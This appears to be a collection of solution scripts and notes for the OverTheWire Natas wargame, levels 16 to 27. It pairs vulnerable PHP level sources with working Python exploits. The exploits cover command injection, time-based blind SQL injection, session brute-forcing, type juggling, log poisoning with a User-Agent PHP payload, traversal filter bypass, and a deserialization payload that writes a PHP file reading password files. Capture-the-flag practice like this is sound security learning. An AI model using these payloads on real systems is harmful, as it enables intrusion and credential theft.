<file_sep>import requests

url = 'http://natas26.natas.labs.overthewire.org/'
username = 'natas26'
password = 'oGgWA<PASSWORD>'
session = requests.session()
session.cookies['drawing'] = "<KEY>
response = session.get(url ,auth=(username, password))
print(response.text)
response = session.get(url + "img/haha.php", auth = (username, password));
print(response.url)
print(response.text)

# natas27_pass: <PASSWORD><file_sep><html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

'''
pregmatch() function is used which filters out some characters
$ this is not filtered out so we can use grep inside grep
$(grep chars from /etc/natas_webpass/natas17)elephant (elephant is in the dictionary.txt file)
so if the character char is in the pw, grep will return the password the the outer grep will return nothing because "natas17_password(elephant)" is not in dictionary.txt file
use the python script


'''<file_sep>import requests

url = 'http://natas20.natas.labs.overthewire.org/?debug=True'
username= 'natas20'
password = '<PASSWORD>'

session = requests.session()

response = session.get(url, auth=(username, password))
print(response.text)
print("--"*40)
response = session.post(url, data={"name": "haha\nadmin 1"}, auth=(username, password))
print(response.text)
print("--"*40)
response = session.get(url, auth=(username, password))
print(response.text)

# natas21_pass: <PASSWORD><file_sep>import requests

url = 'http://natas25.natas.labs.overthewire.org/'
username = 'natas25'
password = '<PASSWORD>'
headers = {'User-Agent': "<?php echo exec('cat /etc/natas_webpass/natas26') ?>"}
session = requests.session()
response = session.get(url, headers=headers,  auth=(username, password))
print(response.request.headers)
sessid = session.cookies['PHPSESSID']
response = session.get(url, headers=headers, params={"lang": "....//....//....//....//....//var/www/natas/natas25/logs/natas25_" + sessid + ".log"} ,auth=(username, password))
print(response.text)

# natas26_pass: <PASSWORD>

# params={"lang": "....//....//....//....//....//var/www/natas/natas25/logs/natas25_" . session.cookies['PHPSESSID'] . ".log"},<file_sep><?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}

function isValidID($id) { 
    return is_numeric($id); // is_numeric()returns true if the paameter supplied is a number or a numeric string, else false
}

function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}

function debug($msg) {
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}

function my_session_start() { 
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) { 
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}

function print_credentials() { 
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <c<PASSWORD>></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}


$showform = true;
if(my_session_start()) { // checks "PHPSESSID" cookie (its value must be a number or a numerics tring), if so checks checks cookie "admin" if it exists sets its value to 0 and function returns true
    print_credentials(); // prints the password for natas19 if the alue of cookie "admin" is 1
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="<PASSWORD>"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html><file_sep># disallow redirects
	<?
	session_start();

	if(array_key_exists("revelio", $_GET)) {
	    // only admins can reveal the password
	    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {// if we are not admin, we ll be redirected to the root page again
	    header("Location: /");
	    }
	}
?>

<?
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <<PASSWORD>></pre>";
    }
?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

we can disallow the redirect:
	response = session.get(url, params=payload, auth=(username, password), allow_redirects = False) # as the parameter name says, it ll disallow any redirects.
	<file_sep>import requests

url = "http://natas16.natas.labs.overthewire.org/"
username = 'natas16'
password = '<PASSWORD>'
all_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ'


def find_password_chars(all_possible_chars, url, username, password):
	lis = []
	for i in all_possible_chars:
	params = {'needle': "$(grep " + i + " /etc/natas_webpass/natas17)elephant"}
	r = requests.get(url, params=params, auth = (username, password))
	if 'elephant' not in r.text:
		lis.append(i)
	return "".join(lis)

def find_password(password_chars, url, username, password):
	while (len(natas17_password)<32):
  		for i in lis:
    		params = {'needle': "$(grep ^" + ''.join(password_chars) + i + " /etc/natas_webpass/natas17)elephant"}
    		r = requests.get(url, params=params, auth = (username, password))
    		if 'elephant' not in r.text:
     			password_chars.append(i)
      			natas17_password = <PASSWORD>_password + i
      			print(natas17_password)
      
password_chars = find_password_chars(all_possible_chars, url, username, password)
find_password(password_chars, url, username, password)

# natas17_password: <PASSWORD><file_sep><?php 

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="<?php passthru('cat /etc/natas_webpass/natas27'); ?>";  // this php code will be written to log file
            $this->exitMsg="<?php passthru('cat /etc/natas_webpass/natas27'); ?>";
            $this->logFile = "img/haha.php";         // create own log file in /img directory which we ll be able to access later
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);       // write the php code
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);         // write the php code
            fclose($fd);
        }                       
    }
    $object = new logger('huhu');           // make a logger object
    echo base64_encode(serialize($object));     // serialize and abse64 encode the object to send it as a cookie

    // the object is deserialed in the serevr a logger object will be craeted and the magic __ functions() will execute

?><file_sep><?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php  
    session_start();
    setLanguage();
    
    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html><file_sep>import requests

url = 'http://natas23.natas.labs.overthewire.org/'
username = 'natas23'
password = '<PASSWORD>'
session = requests.session()

response = session.get(
    url, params = {"passwd": "<PASSWORD>"}, auth=(username, password))

print(response.text)

# natas24_pass: <PASSWORD><file_sep># php code injection
net ma her alxi lago<file_sep>import requests

url1 = 'http://natas21-experimenter.natas.labs.overthewire.org/?debug=True'
url2 = 'http://natas21.natas.labs.overthewire.org/?debug=True'
username = 'natas21'
password = '<PASSWORD>'

session = requests.session()

response = session.post(
    url1, data={
        "admin": "1",
        "submit": "Update"
    }, auth=(username, password))

sess_cookie = session.cookies['PHPSESSID']

response = session.get(url2, cookies={"PHPSESSID": sess_cookie}, auth=(username, password))
print(response.text)

# natas22_pass: <PASSWORD><file_sep># php type juggling

if(array_key_exists("passwd",$_REQUEST)){
we need the function to return 0, which it will only do if both the strings are equal
but if we compare string to an array it will retrun null with an error. so !null is true and we get the credentials.<file_sep>import requests

url = 'http://natas24.natas.labs.overthewire.org/'
username = 'natas24'
password = '<PASSWORD>'
session = requests.session()
response = session.get(url, params = {"passwd[]": "<PASSWORD>"}, auth=(username, password))
print(response.text)


# this is helpful: https://www.php.net/manual/en/function.strcmp.php
# natas25_pass: <PASSWORD><file_sep>pass: <PASSWORD>
<html>
<body>
/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/
'''
	here table name and the column name iside it is given
	we can use it
'''


<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

'''
	notice post request is made
	and in the php code, all response texts are commented out
	we have to perform a time based sql injection
	we can use sleep(seconds) like: natas18" and sleep(5) #
	so if the user natas18 exists, the sql server will sleep for 5 seconds before sending the response
	we can use this injection method to find out the password
'''<file_sep>import requests

username = 'natas18'
password = '<PASSWORD>'
url = 'http://natas18.natas.labs.overthewire.org/'

session = requests.session()

for i in range(1, 641):
	params = {"username": str(i), "password": str(i+1)}
	req = session.get(url, params=params ,auth = (username, password)) # cookie key value pair must be an string
	print(req.cookie)



# pass: <PASSWORD>

'''
	we cannot set a cookie "admin" and set it to '1'
	the php code will set it zero anyways
	we can set the "PHOSESSID", users must have this cookie, so admin also must have this
	also admin is uniques, so the admin a session cookie must be alloated for the admin
	loop through all the possible "PHOSESSID" cookie
'''
<file_sep># natas20 - all about php sessions and custom sessions handlers
	first php checks for any previous sessions, if found uses that session or creates a new session id and sends that session id as a cookie "PHPSESSID" to
	the client. It created a temporary directory on the server to created the session variables for that user session. In the custon session handler functios, the functions read() and write() are vulnurable.
	first I thought the sequence of execution was; write() and read() but it is quite the opposite because first php checks for any previous sessions and reads from that session file.
	so the vulnurability is in both of those functions:
		in the read function:
		function myread($sid) { 
		    debug("MYREAD $sid"); 
		    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { // checks if the sessid is valid
		    debug("Invalid SID"); 
		        return "";
		    }
		    $filename = session_save_path() . "/" . "mysess_" . $sid;
		    if(!file_exists($filename)) {                                // checks if file existe ie if there was any previous sessions
		        debug("Session file doesn't exist");
		        return "";
		    }
		    debug("Reading from ". $filename);         // reads from the file; remember-first read() is executed not write so the file can be empty at first
		    $data = file_get_contents($filename);
		    $_SESSION = array();                      // gets file contents
		    foreach(explode("\n", $data) as $line) {  // splits the contents at every "\n" newline; returns a array
		        debug("Read [$line]");
		    $parts = explode(" ", $line, 2);          //splits at every space char " " 
		    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];   //saves it in session varibale; we can inject "somename \nadmin 1"
		    }
		    return session_encode();
		}
		in the write function:
		if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { // checks if sessid is valid
		    debug("Invalid SID"); 
		        return;
		    }
		    $filename = session_save_path() . "/" . "mysess_" . $sid;   // writes to this file
		    $data = "";
		    debug("Saving in ". $filename);
		    ksort($_SESSION);
		    foreach($_SESSION as $key => $value) {
		        debug("$key => $value");
		        $data .= "$key $value\n";
		    }
		    file_put_contents($filename, $data)


if we inject "somename \nadmin 1"

it will split at \n
and the session varibale $_session['admin'] = 1 is saved
but since write is executed after read, to be more precise; after the output stream is closed we have to make another get request to set ourself as admin<file_sep># php type juggling 
	PHP does not require (or support) explicit type definition in variable declaration; a variable's type is determined by the context in which the variable is used. That is to say, if a string value is assigned to variable $var, $var becomes a string. If an integer value is then assigned to $var, it becomes an integer.(from php manual page)
	so php will convert the variable type as necessary
binary safe functions: process strings as stream of bytes.. which simply means that the function is case sensitive


<form name="input" method="get">
    <input type="text" name="passwd" size=20>
    <input type="submit" value="Login">
</form>

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"<PASSWORD>") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <<PASSWORD>></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

The strstr() function compares the 2 strings and returns the part of the first string which contains the 2nd string, False if the 1st string doenot contain 2nd string
if(strstr($_REQUEST["passwd"],"<PASSWORD>") && ($_REQUEST["passwd"] > 10 )){
here we can see we are first comparing string and then a integer,
php converts variable type as necessary
so if we submit "12 iloveyoubaby", 
strtsr() will return "iloveyoubaby" and teh 2nd part will also be true as pho will convert the string "12 iloveyoubab" to integer 12 which is greater than 10
and hence we get the password.

<file_sep>import requests
from time import *

url = "http://natas17.natas.labs.overthewire.org/"
uname = 'natas17'
password = '<PASSWORD>'
all_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ'
lis = list()
while(len("".join(lis))<32):
  for char in all_possible_chars:
      start_time = time()
      data = {
          "username":
          'natas18" and binary password like "' + "".join(lis) + char +
          '%" and sleep(2) #'
      }
      r = requests.post(url, data=data, auth=(uname, password))
      end_time = time()
      if (end_time - start_time) > 1.5:
        lis.append(char)
        print("".join(lis))
        break
# natas18_password: <PASSWORD><file_sep># source from "http://natas21-experimenter.natas.labs.overthewire.org/"
<?  

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>

<p>Example:</p>
<?=$example?>

<p>Change example values here:</p>
<?=$form?>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

# source from:"http://natas21.natas.labs.overthewire.org/"

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <<PASSWORD>></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}

session_start();
print_credentials();

?><file_sep>import requests
import binascii

username = 'natas19'
password = '<PASSWORD>'
url = 'http://natas19.natas.labs.overthewire.org/'

#session = requests.session()

for i in range(1, 641):
  cook = binascii.b2a_hex(str("%d-admin"%i).encode('ascii')).decode('ascii') 
  req = requests.post(url, cookies={"PHPSESSID": cook} , auth = (username, password)) 
  if "are an admin" in req.text:
    print(req.text)
    break

# pass: <PASSWORD>



'''
for username "jack":
PHPSESSID=3631372d4a61636b
PHPSESSID=3931  2d4a61636b 
PHPSESSID=3530322d4a61636b

for username "123456":
	PHPSESSID=363137 2d3132333435
	PHPSESSID=363333 2d3132333435
	PHPSESSID=3938   2d3132333435 

check the cookies.
it has 2 parts, first varying part
and another fixed
This cookie is hex encoded
decoding, the first part is just some random number
and the second part is a hyphen "-" followed by the username

loop through "(1-641)-admin".encode('hex') as cookie
and get the password
'''<file_sep># local file inclusion and  remote code execution
	so turns out there is 2 differner files for 2 different languages and the default one is the englisg file.
	so when we choose a language one of the 2 files is set.
	The following code is used.

function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))  // we can directory traverse
                return 1;
        safeinclude("language/en"); 
    }
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){               // but "../"" is filtered out
            logRequest("Directory traversal attempt! fixing request.");   // we can outsmart this; use "....//"; so "../" will be filtered out but "../" remains
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){            // still we cannot access /etc/natas_webpass/natas26
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...
        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
but take a look at this code:
logRequest("Directory traversal attempt! fixing request.");  // if any filtering actions occour, it is logged in a file
function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";    // date time is written to the log file
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];   // this is interesting; clients "user-agent" is also logged; with python requests we can supply our custom user-agent
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
params = {"lang": "....//....//....//....//....//path_to_the_log_file"}
so when filtering, our user agent is logged
what if we change out user agent with php code
headers = {"User-Agent": "<?php echo exec('cat /etc/natas_webpass/natas26'); ?>"}
so we get the contents of the log file which actually contains the php code to print the password for the next level
<file_sep># playing with cookies: cross-site session hijaking
	we get this note:
	Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org
	check the source code in both webpages
	the main vulnurable code is:
	This code is in the second website
	if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
	}
	so whatever we submit through the form is stored in the session array
	so we can submit "admin": "1"

	the main print_credentials() page is in the orignal webiste

	websites are colocated: never heard of it
	googled it: co-located
	sharing same location
	so session cookies might also be stored on the sa,e computer I guess
	post "admin": "1"
	from the second website and get the "PHPSESSID" and perform a get request to the orignal website submitting the same session cookie and wohhal you are the admin
	bacause we at first set the array or the session variable $_session['array'] = 1
	and used the same session cookie 2nd time which will access the same file for the seeion on the server.<file_sep>import requests

url = "http://natas16.natas.labs.overthewire.org/"
username = 'natas16'
password = '<PASSWORD>'
all_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ'
lis = []
count = 0
for i in all_possible_chars:
	params = {'needle': "$(grep ^" + i + " /etc/natas_webpass/natas17)elephant"}
	r = requests.get(url, params=params, auth = (username, password))
	print(count)
	print(r.url)
	count += 1
	if 'elephant' not in r.text:
		lis.append(i)
		print("".join(lis))
	<file_sep>import requests

url = 'http://natas22.natas.labs.overthewire.org/'
username = 'natas22'
password = '<PASSWORD>'
payload = {"revelio" : "djdjd"}
session = requests.session()

response = session.get(
    url, params=payload, auth=(username, password), allow_redirects = False)

print(response.text)
#print(response.history)

# natas23_pass: <PASSWORD>